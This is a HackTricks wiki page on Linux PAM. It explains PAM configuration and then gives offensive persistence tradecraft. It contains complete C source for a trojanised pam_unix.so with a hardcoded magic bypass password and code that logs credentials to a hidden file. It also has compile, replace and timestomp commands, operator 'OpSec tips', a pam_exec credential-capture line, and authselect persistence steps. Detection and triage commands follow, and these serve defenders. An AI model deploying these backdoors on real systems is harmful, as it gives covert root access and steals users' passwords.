pam-pluggable-authentication-modules.md (15375B)
1 --- 2 title: "PAM - Pluggable Authentication Modules" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/software-information/pam-pluggable-authentication-modules.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PAM - Pluggable Authentication Modules 14 15 ### Basic Information 16 17 **PAM (Pluggable Authentication Modules)** acts as a security mechanism that **verifies the identity of users attempting to access computer services**, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads. 18 19 #### Configuration Files 20 21 - **Solaris** supports the legacy central file `/etc/pam.conf`, but current guidance prefers service files under `/etc/pam.d`.<sup>[[10]](#references)</sup> 22 - **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.<sup>[[1]](#references)</sup> 23 24 An example of a PAM configuration for the login service might look like this: 25 26 ```text 27 auth required /lib/security/pam_securetty.so 28 auth required /lib/security/pam_nologin.so 29 auth sufficient /lib/security/pam_ldap.so 30 auth required /lib/security/pam_unix_auth.so try_first_pass 31 account sufficient /lib/security/pam_ldap.so 32 account required /lib/security/pam_unix_acct.so 33 password required /lib/security/pam_cracklib.so 34 password required /lib/security/pam_ldap.so 35 password required /lib/security/pam_pwdb.so use_first_pass 36 session required /lib/security/pam_unix_session.so 37 ``` 38 39 #### **PAM Management Realms** 40 41 These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process:<sup>[[1]](#references)</sup> 42 43 - **Auth**: Validates user identity, often by prompting for a password. 44 - **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions. 45 - **Password**: Manages password updates, including complexity checks or dictionary attacks prevention. 46 - **Session**: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits. 47 48 #### **PAM Module Controls** 49 50 Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:<sup>[[1]](#references)</sup> 51 52 - **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked. 53 - **Requisite**: Immediate termination of the process upon failure. 54 - **Sufficient**: If no earlier `required` module failed, success returns immediately and skips the remaining modules in the same management group. 55 - **Optional**: Only causes failure if it's the sole module in the stack. 56 57 #### Offensive Semantics That Matter 58 59 When analyzing or modifying PAM, the **location of an inserted rule** determines which stack sees it:<sup>[[1]](#references)[[13]](#references)</sup> 60 61 - `include` and `substack` pull rules from other files, so editing `sshd` might only affect SSH while editing `system-auth`, `common-auth`, or another shared stack affects several services at once.<sup>[[1]](#references)[[13]](#references)</sup> 62 - PAM also supports bracketed controls such as `[success=1 default=ignore]`. These can be abused to **skip one or more modules** after a successful custom check instead of visibly replacing `pam_unix.so`.<sup>[[1]](#references)</sup> 63 - The `module-path` can be **absolute** (`/usr/lib/security/pam_custom.so`) or **relative** to the default PAM module directory. On modern Linux systems the real directories are often `/lib/security`, `/lib64/security`, `/usr/lib/security`, or multiarch paths like `/usr/lib/x86_64-linux-gnu/security`.<sup>[[1]](#references)[[14]](#references)</sup> 64 65 Quick operator takeaway: always map the **full service graph** before patching. For example, `sshd -> password-auth -> system-auth` on some distros or `sshd -> system-remote-login -> system-login -> system-auth` on others means the same one-line implant may fan out much wider than intended.<sup>[[1]](#references)[[13]](#references)</sup> 66 67 #### Example Scenario 68 69 In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.<sup>[[1]](#references)[[13]](#references)[[15]](#references)[[16]](#references)[[17]](#references)</sup> 70 71 72 ## Backdooring PAM – Hooking `pam_unix.so` 73 74 A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. On a host whose PAM stack loads `pam_unix.so`, SSH or console authentication can invoke its `pam_sm_authenticate()` entry point; a malicious replacement can capture credentials or implement a *magic* password bypass.<sup>[[2]](#references)[[11]](#references)</sup> 75 76 ### Compilation Cheatsheet 77 The sketch below uses Linux-PAM's `pam_sm_authenticate()` service entry point and `pam_get_authtok()` to access the authentication token.<sup>[[11]](#references)[[12]](#references)</sup> 78 <details> 79 <summary>Sample `pam_unix.so` trojan</summary> 80 81 ```c 82 #define _GNU_SOURCE 83 #include <security/pam_modules.h> 84 #include <security/pam_ext.h> 85 #include <dlfcn.h> 86 #include <stdio.h> 87 #include <fcntl.h> 88 #include <string.h> 89 #include <unistd.h> 90 91 static void *real_module; 92 static int (*orig_auth)(pam_handle_t *, int, int, const char **); 93 static int (*orig_setcred)(pam_handle_t *, int, int, const char **); 94 static const char *MAGIC = "Sup3rS3cret!"; 95 96 static int load_original(void) { 97 if (real_module) return 0; 98 real_module = dlopen("/lib/security/pam_unix.so.bak", RTLD_NOW | RTLD_LOCAL); 99 if (!real_module) return -1; 100 orig_auth = dlsym(real_module, "pam_sm_authenticate"); 101 orig_setcred = dlsym(real_module, "pam_sm_setcred"); 102 return (orig_auth && orig_setcred) ? 0 : -1; 103 } 104 105 PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { 106 const char *user = NULL, *pass = NULL; 107 pam_get_user(pamh, &user, NULL); 108 pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); 109 110 /* Magic pwd → immediate success */ 111 if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; 112 113 /* Credential harvesting */ 114 if (user && pass) { 115 int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); 116 if (fd >= 0) { 117 dprintf(fd, "%s:%s\n", user, pass); 118 close(fd); 119 } 120 } 121 122 /* Forward to the renamed original module. */ 123 if (load_original() != 0) return PAM_SYSTEM_ERR; 124 return orig_auth(pamh, flags, argc, argv); 125 } 126 127 PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) { 128 if (load_original() != 0) return PAM_SYSTEM_ERR; 129 return orig_setcred(pamh, flags, argc, argv); 130 } 131 ``` 132 133 </details> 134 135 Compile and stealth-replace (the replacement/timestomp pattern is documented by Unit 42). Adjust both the backup path hard-coded in the wrapper and the commands below to the target's actual PAM module directory:<sup>[[2]](#references)</sup> 136 ```bash 137 gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam 138 mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak 139 mv pam_unix.so /lib/security/pam_unix.so 140 chmod 644 /lib/security/pam_unix.so # keep original perms 141 touch -r /bin/ls /lib/security/pam_unix.so # timestomp 142 ``` 143 144 ### OpSec Tips 145 1. **Atomic overwrite** – write a complete library to a temporary file and rename it into place to avoid leaving a partially written authentication module. 146 2. A path such as `/usr/bin/.dbus.log` was observed in Unit 42's AuthDoor analysis, so it is also a useful hunting indicator.<sup>[[2]](#references)</sup> 147 3. Preserve the entry points expected by the PAM stack (for example, `pam_sm_authenticate` and `pam_sm_setcred`) so other management operations continue to work.<sup>[[11]](#references)[[18]](#references)</sup> 148 149 ### Detection 150 For package-integrity checks, RPM verifies installed-file metadata, `debsums -s` reports checksum errors, and `dpkg -S` in the triage block queries package ownership; the audit watch syntax records writes and attribute changes to a path.<sup>[[6]](#references)[[7]](#references)[[8]](#references)[[9]](#references)</sup> 151 * Compare MD5/SHA256 of `pam_unix.so` against distro package. 152 * `rpm -V pam` or `debsums -s libpam-modules` to spot replaced libraries without manual hashing. 153 * Check for world-writable or unusual ownership under `/lib/security/`. 154 * `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. 155 * Grep PAM configs for unexpected modules: `grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix`. 156 157 ### Quick triage commands (post-compromise or threat hunting) 158 ```bash 159 # 1) Spot alien PAM objects 160 find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux' 161 162 # 2) Verify package integrity 163 command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules 164 165 # 3) Identify non-packaged PAM modules 166 for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do 167 dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f"; 168 done 169 170 # 4) Look for stealth config edits 171 grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec' 172 ``` 173 174 ### Abusing `pam_exec` for persistence 175 Instead of replacing `pam_unix.so`, a lighter touch is to append a `pam_exec` line in `/etc/pam.d/sshd` so an invocation that reaches that PAM line runs a helper while leaving the normal stack intact.<sup>[[4]](#references)</sup> 176 ```bash 177 # Run during the auth phase; expose_authtok sends the token on stdin 178 auth optional pam_exec.so quiet expose_authtok /usr/local/bin/.ssh_hook.sh 179 ``` 180 `pam_exec` receives PAM metadata in environment variables such as `PAM_USER`, `PAM_RHOST`, `PAM_SERVICE`, `PAM_TTY`, and `PAM_TYPE`. With `expose_authtok`, the helper can read up to `PAM_MAX_RESP_SIZE` bytes of the password from `stdin` during `auth` or `password` phases. If you want the helper to run with the effective UID instead of the real UID, add `seteuid`.<sup>[[4]](#references)</sup> 181 182 Practical notes follow the module types and `type=` filter documented for `pam_exec`:<sup>[[4]](#references)</sup> 183 184 - `session optional pam_exec.so ...` is better for **post-login actions** such as re-opening sockets or spawning a detached daemon. 185 - `auth optional pam_exec.so quiet expose_authtok ...` is the usual choice for **credential capture** because it runs before the session opens. 186 - `type=session` or `type=auth` can be used to constrain execution to a specific PAM phase and avoid noisy double execution. 187 188 ### Surviving distro tooling: `authselect` 189 190 On RHEL and Fedora-family systems that use `authselect`, direct edits to generated files such as `/etc/pam.d/system-auth` or `/etc/pam.d/password-auth` may be **overwritten by `authselect`**. For persistence, operators often patch the active custom profile under `/etc/authselect/custom/<profile>/` and then re-select it.<sup>[[5]](#references)[[19]](#references)</sup> 191 192 Typical workflow when you have root:<sup>[[5]](#references)</sup> 193 194 ```bash 195 # Inspect the active profile first 196 authselect current 197 198 # If a custom profile already exists, edit its PAM templates instead of system-auth directly 199 find /etc/authselect/custom -maxdepth 2 -type f \( -name 'system-auth' -o -name 'password-auth' \) -ls 200 201 # Regenerate the PAM files after modifying the active custom profile 202 authselect apply-changes 203 ``` 204 205 This matters for both offense and triage: if `/etc/pam.d/system-auth` contains the banner `Generated by authselect` and `Do not modify this file manually`, then the real persistence point may live under `/etc/authselect/custom/` rather than in `/etc/pam.d/`.<sup>[[5]](#references)</sup> 206 207 ### Recent tradecraft seen in the wild 208 209 Recent 2025 reporting on the **Plague** Linux backdoor showed the same core idea taken further: a malicious PAM component with a **static bypass password**, plus cleanup of SSH-related environment variables and shell history (`HISTFILE=/dev/null`) to reduce session traces after login.<sup>[[3]](#references)</sup> That is a useful hunting pattern because the backdoor logic may live in PAM while the stealth artifacts only appear **after** authentication succeeds. 210 211 212 ## References 213 214 - [1] [pam.conf(5) / pam.d(5) - Linux-PAM Manual](https://man7.org/linux/man-pages/man5/pam.d.5.html) 215 - [2] [The Covert Operator's Playbook: Infiltration of Global Telecom Networks - Unit 42](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) 216 - [3] [Nextron Systems - Plague: A Newly Discovered PAM-Based Backdoor for Linux](https://www.nextron-systems.com/2025/08/01/plague-a-newly-discovered-pam-based-backdoor-for-linux/) 217 - [4] [pam_exec(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_exec.8.html) 218 - [5] [Configuring user authentication using authselect - Red Hat Enterprise Linux](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/configuring_authentication_and_authorization_in_rhel/configuring-user-authentication-using-authselect) 219 - [6] [rpm(8) - RPM](https://rpm.org/docs/4.20.x/man/rpm.8) 220 - [7] [debsums(1) - Debian Manpages](https://manpages.debian.org/unstable/debsums/debsums.1.en.html) 221 - [8] [auditctl(8) - Linux manual page](https://man7.org/linux/man-pages/man8/auditctl.8.html) 222 - [9] [dpkg-query(1) - Debian Manpages](https://manpages.debian.org/testing/dpkg/dpkg-query.1.en.html) 223 - [10] [Managing Authentication in Oracle Solaris 11.4](https://docs.oracle.com/cd/E37838_01/pdf/E67470.pdf) 224 - [11] [pam_sm_authenticate(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_sm_authenticate.3.html) 225 - [12] [pam_get_authtok(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_get_authtok.3.html) 226 - [13] [System-Level Authentication Guide - Red Hat Enterprise Linux 7](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html-single/system-level_authentication_guide/index) 227 - [14] [Ubuntu package file list: libpam-modules/noble/amd64](https://packages.ubuntu.com/noble/amd64/libpam-modules/filelist) 228 - [15] [pam_env(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_env.8.html) 229 - [16] [pam_unix(8) - Linux-PAM Manual](https://man7.org/linux/man-pages/man8/pam_unix.8.html) 230 - [17] [pam_ldap(5) - Debian Manpages](https://manpages.debian.org/testing/libpam-ldap/pam_ldap.5.en.html) 231 - [18] [pam_sm_setcred(3) - Linux-PAM Manual](https://man7.org/linux/man-pages/man3/pam_sm_setcred.3.html) 232 - [19] [Changes/Make Authselect Mandatory - Fedora Project Wiki](https://fedoraproject.org/wiki/Changes/Make_Authselect_Mandatory)